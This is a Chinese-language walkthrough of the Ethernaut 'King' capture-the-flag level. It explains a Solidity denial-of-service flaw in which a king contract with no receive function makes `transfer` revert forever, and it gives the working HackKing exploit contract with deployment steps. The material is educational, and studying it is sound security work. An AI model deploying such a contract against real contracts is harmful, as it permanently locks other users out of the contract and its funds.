9. King

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Chain: Goerli
Difficulty: ●●●○○
Level: https://ethernaut.openzeppelin.com/level/0x25141B6345378e7558634Cf7c2d9B8670baFA417

要求

下面的合约表示了一个很简单的游戏: 任何一个发送了高于目前价格的人将成为新的国王. 在这个情况下, 上一个国王将会获得新的出价, 这样可以赚得一些以太币. 看起来像是庞氏骗局.

这么有趣的游戏, 你的目标是攻破他.

当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.

分析

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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

分析合约代码，关键点在于 receive 函数中：

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king.transfer(msg.value);

这里犯了常见的错误：未考虑调用者 king 为另一个合约的情况。如果该合约未定义 fallback() 和 receive() 函数，transfer() 就会失败，会自动revert（回滚交易）。

因此只要有一个未定义 fallback() 和 receive() 函数的合约占用king，合约在 transfer 时失败，令king的地址永远属于该合约。

另一个关键点是，King 合约的 receive 有复杂的逻辑， 而

solidity三种发送ETH的方法：transfer，send和call。

  • call没有gas限制，最为灵活，是最提倡的方法；
  • transfer有2300 gas限制，但是发送失败会自动revert交易，是次优选择；
  • send有2300 gas限制，而且发送失败不会自动revert交易，几乎没有人用它。

因此只能用 call 函数进行调用。

解题

  1. 首先打开Console，获取当前关卡合约实例地址 instance；

  2. 打开 Remix IDE，创建文件 9_King.sol，粘贴以下代码：

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    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;

    contract HackKing {
        error CallFailed();
        address levelInstance;

        constructor(address _levelInstance) payable {
            levelInstance = _levelInstance;
        }

        function give() external payable {
            (bool success,) = levelInstance.call{value: msg.value}("");
            if(!success){
                revert CallFailed();
            }
        }
    }

  3. 在constructor 填入当前关卡合约实例地址后部署。

  4. 再调用 give 函数：

    • 获取当前King 合约的 prize await getBalance(instance) 为 0.001 ether
    • VALUE 需要大于或者等于 0.001 ether
    • 手动调高 GAS LIMIT，不然调用合约会因为 out of gas 失败

  5. 查看 King 合约的king是否为HackKing 合约。

  6. 完成关卡。

后记

大多数 Ethernaut 的关卡尝试展示真实发生的 bug 和 hack (以简化过的方式).

关于这次的情况, 参见: King of the Ether 和 King of the Ether Postmortem